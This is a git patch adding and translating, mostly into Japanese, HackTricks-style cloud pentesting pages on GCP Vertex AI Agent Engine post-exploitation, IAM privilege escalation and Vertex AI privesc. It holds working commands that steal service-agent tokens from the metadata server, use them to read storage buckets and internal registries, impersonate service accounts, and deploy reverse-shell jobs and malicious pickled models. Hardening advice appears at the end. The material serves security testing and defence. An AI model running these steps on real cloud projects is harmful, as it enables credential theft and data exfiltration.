From 156d94f21f89a9663f5b52489206e4c67da146cb Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Apr 2026 13:02:52 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp --- .../gcp-vertex-ai-post-exploitation.md | 271 ++++++++++++++++++ .../gcp-iam-privesc.md | 60 ++-- .../gcp-vertex-ai-privesc.md | 146 +++++----- .../gcp-services/gcp-vertex-ai-enum.md | 112 ++++---- 4 files changed, 443 insertions(+), 146 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..7bb4f75e2 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,271 @@ +# GCP - Vertex AI Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI Agent Engine / Reasoning Engine + +このページは、Google-managed runtime 内で攻撃者が制御するツールやコードを実行する **Vertex AI Agent Engine / Reasoning Engine** のワークロードに焦点を当てます。 + +For the general Vertex AI overview check: + +{{#ref}} +../gcp-services/gcp-vertex-ai-enum.md +{{#endref}} + +For classic Vertex AI privesc paths using custom jobs, models, and endpoints check: + +{{#ref}} +../gcp-privilege-escalation/gcp-vertex-ai-privesc.md +{{#endref}} + +### Why this service is special + +Agent Engine は有用だが危険なパターンを導入します:**開発者提供のコードが Google 管理のランタイム内で、Google-managed identity を使用して実行される**点です。 + +興味深い信頼境界は次のとおりです: + +- **Consumer project**: あなたのプロジェクトとデータ。 +- **Producer project**: バックエンドサービスを運用する Google 管理のプロジェクト。 +- **Tenant project**: デプロイされた agent インスタンス専用の Google 管理プロジェクト。 + +Google の Vertex AI IAM ドキュメントによれば、Vertex AI リソースは **Vertex AI service agents** をリソースアイデンティティとして使用でき、これらの service agents はデフォルトで **プロジェクト内のすべての Cloud Storage リソースと BigQuery データへの読み取り専用アクセス** を持ち得ます。Agent Engine 内で実行されるコードがランタイム認証情報を窃取できるなら、そのデフォルトアクセスは直ちに注目に値します。 + +### Main abuse path + +1. Agent をデプロイするか改変して、攻撃者が制御するツールやコードが管理されたランタイム内で実行されるようにする。 +2. **metadata server** に問い合わせて、プロジェクト識別、サービスアカウント識別、OAuth スコープ、アクセストークンを回収する。 +3. 盗んだトークンを **Vertex AI Reasoning Engine P4SA / service agent** として再利用する。 +4. **consumer project** にピボットし、service agent により許可されたプロジェクト全体のストレージデータを読み取る。 +5. 同一のアイデンティティで到達可能な **producer** および **tenant** 環境にピボットする。 +6. Artifact Registry の内部パッケージを列挙し、`Dockerfile.zip`、`requirements.txt`、`code.pkl` のような tenant 展開アーティファクトを抽出する。 + +これは単なる「自分の agent でコードを実行できる」問題ではありません。問題の核心は以下の組み合わせです: + +- metadata-accessible credentials +- broad default service-agent privileges +- wide OAuth scopes +- multi-project trust boundaries hidden behind one managed service + +## Enumeration + +### Identify Agent Engine resources + +The resource name format used by Agent Engine is: +```text +projects//locations//reasoningEngines/ +``` +Vertex AI へのアクセス権を持つトークンがある場合、Reasoning Engine API を直接列挙してください: +```bash +PROJECT_ID= +LOCATION= + +curl -s \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines" +``` +デプロイメントログを確認してください。パッケージングやランタイム起動時に使用される **内部のプロデューサーの Artifact Registry パス** が leak することがあります: +```bash +gcloud logging read \ +'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \ +--project \ +--limit 50 \ +--format json +``` +Unit 42の調査では、以下のような内部パスが観測されました: +```text +us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine +us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod +``` +## ランタイムからの Metadata credential theft + +もし agent runtime 内でコードを実行できるなら、まず metadata service をクエリします: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' +``` +興味深いフィールドには以下が含まれます: + +- プロジェクト識別子 +- 関連付けられた service account / service agent +- runtime で利用可能な OAuth スコープ + +次に、関連付けられたアイデンティティのトークンを要求します: +```bash +curl -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' +``` +token を検証し、付与された scopes を確認する: +```bash +TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \ +'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)" + +curl -s \ +-H 'Content-Type: application/x-www-form-urlencoded' \ +-d "access_token=${TOKEN}" \ +https://www.googleapis.com/oauth2/v1/tokeninfo +``` +> [!WARNING] +> Google は、研究報告後に ADK のデプロイワークフローの一部を変更したため、古いデプロイ用スニペットが現在の SDK と正確に一致しない可能性があります。重要なプライミティブは変わっていません:**if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**。 + +## Consumer-project pivot: service-agent data theft + +runtime token が盗まれたら、service agent が consumer project に対して持つ実効アクセスをテストします。 + +ドキュメント化された危険なデフォルトの能力は、プロジェクトデータへの広範な **read access to project data** です。Unit 42 の研究では具体的に以下が検証されました: + +- `storage.buckets.get` +- `storage.buckets.list` +- `storage.objects.get` +- `storage.objects.list` + +盗まれたトークンを使った実践的な検証: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o" + +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b//o/?alt=media" +``` +これにより、侵害されたまたは悪意のあるエージェントを**project-wide storage exfiltration primitive**に変えます。 + +## Producer-project pivot: internal Artifact Registry access + +同じ盗まれた識別情報は**Google-managed producer resources**に対しても有効な場合があります。 + +まずはログから得た内部リポジトリのURIをテストします。次に、Artifact Registry APIでパッケージを列挙します: +```python +packages_request = artifactregistry_service.projects().locations().repositories().packages().list( +parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension" +) +packages_response = packages_request.execute() +packages = packages_response.get("packages", []) +``` +raw bearer token しか持っていない場合は、REST API を直接呼び出してください: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://artifactregistry.googleapis.com/v1/projects//locations//repositories/llm-extension/packages" +``` +これは書き込みアクセスがブロックされていても価値があります。なぜなら次の情報が明らかになるからです: + +- 内部イメージ名 +- 非推奨のイメージ +- サプライチェーン構造 +- 後続調査用のパッケージ/バージョン一覧 + +For more Artifact Registry background check: + +{{#ref}} +../gcp-services/gcp-artifact-registry-enum.md +{{#endref}} + +## テナントプロジェクトへのピボット: デプロイメントアーティファクトの取得 + +Reasoning Engine のデプロイは、そのインスタンス用に Google が管理する **テナントプロジェクト** にも興味深いアーティファクトを残します。 + +The Unit 42 research found: + +- `Dockerfile.zip` +- `code.pkl` +- `requirements.txt` + +盗用したトークンを使い、アクセス可能なストレージを列挙してデプロイメントアーティファクトを検索する: +```bash +curl -s \ +-H "Authorization: Bearer ${TOKEN}" \ +"https://storage.googleapis.com/storage/v1/b?project=" +``` +テナントプロジェクトからのアーティファクトは明らかにする可能性がある: + +- 内部のバケット名 +- 内部のイメージ参照 +- パッケージ化に関する想定 +- 依存関係の一覧 +- シリアライズされたエージェントコード + +ブログでも次のような内部参照が観察された: +```text +gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip +``` +Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure. + +## `code.pkl` and conditional RCE + +If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target. + +The immediate issue is **confidentiality**: + +- オフラインでのデシリアライズはコード構造を露呈する可能性があります +- パッケージ形式は実装の詳細を leaks します + +The bigger issue is **conditional RCE**: + +- 攻撃者が service-side デシリアライズの前に serialized artifact を改竄できる場合 +- かつパイプラインが後でその pickle をロードする場合 +- 管理されたランタイム内で arbitrary code execution が可能になります + +This is not a standalone exploit by itself. It is a **dangerous deserialization sink** that becomes critical when combined with any artifact write or supply-chain tampering primitive. + +## OAuth scopes and Workspace blast radius + +The metadata response also exposes the **OAuth scopes** attached to the runtime. + +If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous. + +If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access: + +{{#ref}} +../gcp-to-workspace-pivoting/README.md +{{#endref}} + +## Hardening / detection + +### Prefer a custom service account over the default managed identity + +Current Agent Engine documentation supports setting a **custom service account** for the deployed agent. That is the cleanest way to reduce blast radius: + +- remove dependence on the default broad service agent +- grant only the minimal permissions required by the agent +- make the runtime identity auditable and intentionally scoped + +### Validate the actual service-agent access + +Inspect the effective access of the Vertex AI service agent in every project where Agent Engine is used: +```bash +gcloud projects get-iam-policy \ +--format json | jq ' +.bindings[] +| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re"))) +' +``` +付与されたアイデンティティが以下を読み取れるかどうかに焦点を当てる: + +- すべての GCS buckets +- BigQuery datasets +- Artifact Registry repositories +- build/deployment workflows から到達可能な secrets または internal registries + +### agent code を特権的なコード実行として扱う + +agent によって実行されるあらゆるツール/関数は、metadata アクセスを持つ VM 上で実行されるコードであるかのようにレビューするべきである。実務では次を意味する: + +- agent ツールが metadata endpoints へ直接 HTTP アクセスを行っていないか確認する +- ログを確認し、internal `pkg.dev` repositories や tenant buckets への参照がないか探す +- 実行可能な状態を `pickle` として格納するようなパッケージングパスがないか確認する + +## References + +- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/) +- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy) +- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control) +- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents) +- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp) +- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index 799d990ce..2b1b6a509 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -IAM に関する詳細情報は次を参照してください: +IAMに関する詳細は以下を参照してください: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md @@ -12,16 +12,16 @@ IAM に関する詳細情報は次を参照してください: ### `iam.roles.update` (`iam.roles.get`) -上記の権限を持つ攻撃者は、あなたに割り当てられた role を更新し、次のような他のリソースに対して追加の権限を付与できるようになります: +上記の権限を持つattackerは、あなたに割り当てられたロールを更新し、他のリソースに対する追加の権限をあなたに付与できるようになります: ```bash gcloud iam roles update --project --add-permissions ``` -**vuln environmentの作成、exploit、およびクリーンアップを自動化するスクリプトはこちら**と、この権限を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。 +vuln environment の creation、exploit、および cleaning を自動化するスクリプトは **こちら** にあり、python スクリプトでこの特権を悪用するものは [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) にあります。詳しくは [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) をご覧ください。 ```bash gcloud iam roles update --project --add-permissions ``` ### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy` -iam.roles.create の権限はプロジェクト/組織内でカスタムロールを作成することを許可します。攻撃者の手に渡ると危険です。なぜなら、それにより新しい権限セットを定義でき、後で対象のエンティティに割り当てることで(例えば iam.serviceAccounts.setIamPolicy 権限を使用して)権限昇格を達成できるからです。 +`iam.roles.create` の権限は、プロジェクトや組織内でカスタムロールを作成できるようにします。攻撃者の手に渡ると危険で、後にエンティティに割り当てられる(例えば `iam.serviceAccounts.setIamPolicy` 権限を使用して)ことで権限昇格を目的とした新しい権限セットを定義できてしまいます。 ```bash gcloud iam roles create \ --project= \ @@ -31,7 +31,13 @@ gcloud iam roles create \ ``` ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -前述の権限を持つ攻撃者は、**Service Account に属する access token を要求することができます**。そのため、私たちより権限の高い Service Account の access token を要求できる可能性があります。 +前述の権限を持つ攻撃者は、**Service Account に属する access token をリクエストできる**ため、自分より権限の高い Service Account の access token を取得できる可能性があります。 + +攻撃者制御下のコードが metadata service から **managed Vertex AI Agent Engine runtime token** を盗み、Vertex AI service agent として再利用するような **resource-driven** バリアントについては、次を参照してください: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token @@ -40,23 +46,23 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul ### `iam.serviceAccountKeys.create` -上記の権限を持つ attacker は、**create a user-managed key for a Service Account** を実行でき、その Service Account として GCP にアクセスできるようになります。 +前述の権限を持つ攻撃者は、Service Account に対してユーザー管理キーを作成できるようになり、その Service Account として GCP にアクセスできるようになります。 ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -自動化用スクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)にあり、この権限を悪用する python スクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。 +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). -注意: **`iam.serviceAccountKeys.update` はサービスアカウントのキーを変更するためには動作しません**。その操作には `iam.serviceAccountKeys.create` 権限も必要です。 +注意:`iam.serviceAccountKeys.update` は SA のキーを変更するためには機能しません。キーを変更するには `iam.serviceAccountKeys.create` の権限も必要だからです。 ### `iam.serviceAccounts.implicitDelegation` -あるサービスアカウント上で **`iam.serviceAccounts.implicitDelegation`** 権限を持ち、かつそのサービスアカウントが第三のサービスアカウントに対して **`iam.serviceAccounts.getAccessToken`** 権限を持っている場合、implicitDelegation を使ってその第三のサービスアカウントのトークンを作成できます。説明用の図は以下です。 +もしあるサービスアカウントに対して **`iam.serviceAccounts.implicitDelegation`** 権限を持ち、かつそのサービスアカウントが第三のサービスアカウントに対して **`iam.serviceAccounts.getAccessToken`** 権限を持っている場合、implicitDelegation を使ってその第三のサービスアカウントのトークンを作成できます。説明のための図は次のとおりです。 ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -注意: [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使ってトークンを生成する場合にのみ動作します。したがって、ここでは API を直接使用してトークンを取得する方法を示します: +注意: [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の委任は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使用してトークンを生成する場合にのみ動作します。以下は API を直接使ってトークンを取得する方法です: ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -71,19 +77,19 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul ### `iam.serviceAccounts.signBlob` -前述の権限を持つ攻撃者は、**GCP内の任意のペイロードに署名することができる**ようになります。したがって、対象のSAの未署名JWTを作成してそれをblobとして送信し、SAにJWTを署名させることが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)。 +該当する権限を持つ攻撃者は、GCP上で任意のペイロードに署名することができます。したがって、ターゲットのサービスアカウントの未署名のJWTを作成し、それをblobとして送信してターゲットのサービスアカウントにJWTを署名させる、ということが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)を参照してください。 You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -前述の権限を持つ攻撃者は、**整形式のJSON web tokens (JWTs) に署名することができる**ようになります。前の方法との違いは、**JWTを含むblobにGoogleに署名させる代わりに、既にJWTを期待するsignJWTメソッドを使う**点です。これにより使いやすくなりますが、任意のバイトではなくJWTのみ署名できます。 +該当する権限を持つ攻撃者は、整形式のJSON Web Token (JWT) に署名することができます。前の方法との違いは、JWTを含むblobをgoogleに署名させるのではなく、最初からJWTを期待する signJWT メソッドを使う点です。これにより使いやすくなりますが、任意のバイト列ではなくJWTのみを署名できる点に注意してください。 You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -前述の権限を持つ攻撃者は、サービスアカウントにIAMポリシーを**追加する**ことができるようになります。これを悪用して、自分自身にサービスアカウントを偽装するために必要な権限を**付与する**ことが可能です。以下の例では、興味のあるSAに対して自分に`roles/iam.serviceAccountTokenCreator`ロールを付与しています: +該当する権限を持つ攻撃者は、サービスアカウントにIAMポリシーを追加することができます。これを悪用して、サービスアカウントをインパーソネートするために必要な権限を自分に付与することが可能です。以下の例では、興味のあるサービスアカウントに対して `roles/iam.serviceAccountTokenCreator` ロールを自分に付与しています: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -94,45 +100,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +脆弱環境の作成、exploit、およびクリーンアップを自動化するスクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -**iam.serviceAccounts.actAs permission** は、AWS の **iam:PassRole permission** に似ています。Compute Engine インスタンスの起動などの操作を実行する際に、Service Account として「actAs」できる権限を与えるため、権限管理において重要です。これがないと、ユーザが不適切にアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用するには複数の方法があり、それぞれに必要な権限セットが異なるのに対し、他の方法は単一の権限だけで済むものもあります。 +The **iam.serviceAccounts.actAs permission** は **iam:PassRole permission from AWS** のようなものです。Compute Engine インスタンスの起動などの操作を、Service Account として "actAs" する能力を付与するため、権限管理上重要です。これがないと、ユーザーが不適切に権限を得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用する手法はいくつか存在し、それぞれが複数の permissions を必要とするのに対し、他の手法は単一の権限だけで済む場合もあります。 -#### Service account impersonation +#### サービスアカウントのなりすまし -Service account を impersonate することは、より高い権限を取得するために非常に有用です。別の service account を impersonate する方法は次の三通りがあります(詳細は [https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) を参照): +サービスアカウントをなりすますことは、**より高い権限を取得する**上で非常に有用です。別のサービスアカウントを[impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account)する方法は次の3つです: -- Authentication **using RSA private keys**(上で説明) -- Authorization **using Cloud IAM policies**(ここで説明) -- **Deploying jobs on GCP services**(ユーザアカウントの侵害により関連することが多い) +- 認証 **using RSA private keys**(上で説明済み) +- 認可 **using Cloud IAM policies**(ここで説明) +- **Deploying jobs on GCP services**(ユーザーアカウントの侵害に関連することが多い) ### `iam.serviceAccounts.getOpenIdToken` -前述の権限を持つ攻撃者は、OpenID JWT を生成できます。これらはアイデンティティを主張するために使用され、必ずしもリソースに対する暗黙の認可を含むとは限りません。 +前述の権限を持つ攻撃者は OpenID JWT を生成できます。これらはアイデンティティを主張するために使用され、リソースに対する暗黙の権限を必ずしも伴うわけではありません。 -この[**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)によれば、audience(トークンを使って認証したいサービス)を指定する必要があり、google によって署名された JWT が返され、その JWT に service account と audience が示されます。 +この[**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)によれば、audience(トークンを使って認証したいサービス)を指定する必要があり、指定したサービスアカウントと JWT の audience を示す、google によって署名された JWT を受け取ります。 -You can generate an OpenIDToken (if you have the access) with: +アクセス権があれば、次のようにして OpenIDToken を生成できます: ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -その後、それを使ってサービスにアクセスできます: +これで、次のようにサービスにアクセスできます: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -この種のトークンによる認証をサポートするサービスには、次のものがあります: +この種類のトークンによる認証をサポートするサービスには、次のものがあります: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) -- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC を使用している場合) +- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) -サービスアカウントに代わって OpenID トークンを作成する方法の例は[**こちら**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。 +service account の代理で OpenID token を作成する方法の例は[**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。 ## 参考 diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 60e5cf6a6..feb9a53af 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -4,23 +4,29 @@ ## Vertex AI -Vertex AI の詳細については次を参照してください: +Vertex AI の詳細については次を参照してください: {{#ref}} ../gcp-services/gcp-vertex-ai-enum.md {{#endref}} +runtime metadata service、デフォルトの Vertex AI service agent、そして consumer / producer / tenant リソースへのクロスプロジェクトピボットを使用する Agent Engine / Reasoning Engine の post-exploitation パスについては、次を参照してください: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -ターゲットのサービスアカウントに対して `aiplatform.customJobs.create` 権限と `iam.serviceAccounts.actAs` があると、攻撃者は特権昇格した状態で任意のコードを実行できます。 +`aiplatform.customJobs.create` 権限とターゲットサービスアカウントに対する `iam.serviceAccounts.actAs` があれば、攻撃者は **execute arbitrary code with elevated privileges** が可能になります。 -これは、攻撃者が制御するコード(カスタムコンテナや Python パッケージ)を実行するカスタムトレーニングジョブを作成することで機能します。`--service-account` フラグで特権を持つサービスアカウントを指定すると、そのジョブはそのサービスアカウントの権限を継承します。ジョブは Google 管理のインフラ上で実行され、GCP metadata service にアクセスできるため、サービスアカウントの OAuth アクセストークンを抽出できます。 +これは、攻撃者が制御するコード(カスタムコンテナまたは Python パッケージ)を実行するカスタムトレーニングジョブを作成することで実現します。`--service-account` フラグで特権を持つサービスアカウントを指定すると、そのジョブはそのサービスアカウントの権限を継承します。ジョブは Google 管理のインフラ上で実行され、GCP metadata service にアクセスできるため、サービスアカウントの OAuth アクセストークンを抽出できます。 -**Impact**: ターゲットのサービスアカウントの権限への完全な特権昇格。 +**Impact**: 対象サービスアカウントの権限への Full privilege escalation。
-Create custom job with reverse shell +reverse shell を使ったカスタムジョブの作成 ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ @@ -49,7 +55,7 @@ gcloud ai custom-jobs create \
-代替案: logsからtokenを抽出 +代替: ログから token を抽出する ```bash # Method 3: View in logs (less reliable, logs may be delayed) gcloud ai custom-jobs create \ @@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs --region= ### `aiplatform.models.upload`, `aiplatform.models.get` -この手法は、モデルを Vertex AI にアップロードし、そのモデルをエンドポイントのデプロイやバッチ予測ジョブを通じて昇格した権限でコードを実行させることで権限昇格を達成します。 +この手法は、モデルを Vertex AI にアップロードし、そのモデルを endpoint deployment または batch prediction job を介してコードを実行させることで、privilege escalation を達成します。 > [!NOTE] -> この攻撃を実行するには、モデルアーティファクトをアップロードするために、すべてのユーザーが読み取り可能(world readable)な GCS バケットを持っているか、新しく作成する必要があります。 +> この攻撃を実行するには、world readable な GCS バケットを持っているか、モデルアーティファクトをアップロードするために新しいバケットを作成する必要があります。
-Upload malicious pickled model with reverse shell +悪意ある pickled model を reverse shell と共にアップロード ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -111,7 +117,7 @@ gcloud ai models upload \
-コンテナのリバースシェルを含むモデルをアップロード +コンテナのリバースシェル付きモデルをアップロード ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -143,15 +149,16 @@ gcloud ai models upload \
> [!DANGER] -> マルウェア化したモデルをアップロードした後、攻撃者は誰かがそのモデルを使用するのを待つか、エンドポイントへのデプロイやバッチ予測ジョブを通じて自分でモデルを起動することができます。 +> 悪意のあるモデルをアップロードした後、攻撃者は誰かがそのモデルを使用するのを待つか、endpoint のデプロイまたは batch prediction job を通じて自分でモデルを起動することができます。 + #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -エンドポイントにモデルを作成・デプロイする権限、またはエンドポイントの IAM ポリシーを変更する権限があれば、プロジェクトにアップロードされた悪意のあるモデルを利用して privilege escalation を達成できます。エンドポイント経由で既にアップロードされている悪意のあるモデルをトリガーするために必要なのは、次の操作だけです: +If you have permissions to create and deploy models to endpoints, or modify endpoint IAM policies, you can leverage uploaded malicious models in the project to achieve privilege escalation. To trigger one of the previously uploaded malicious models via an endpoint all you need to do is:
-悪意のあるモデルをエンドポイントにデプロイ +悪意のあるモデルをendpointにデプロイ ```bash # Create an endpoint gcloud ai endpoints create \ @@ -169,19 +176,18 @@ gcloud ai endpoints deploy-model \ ```
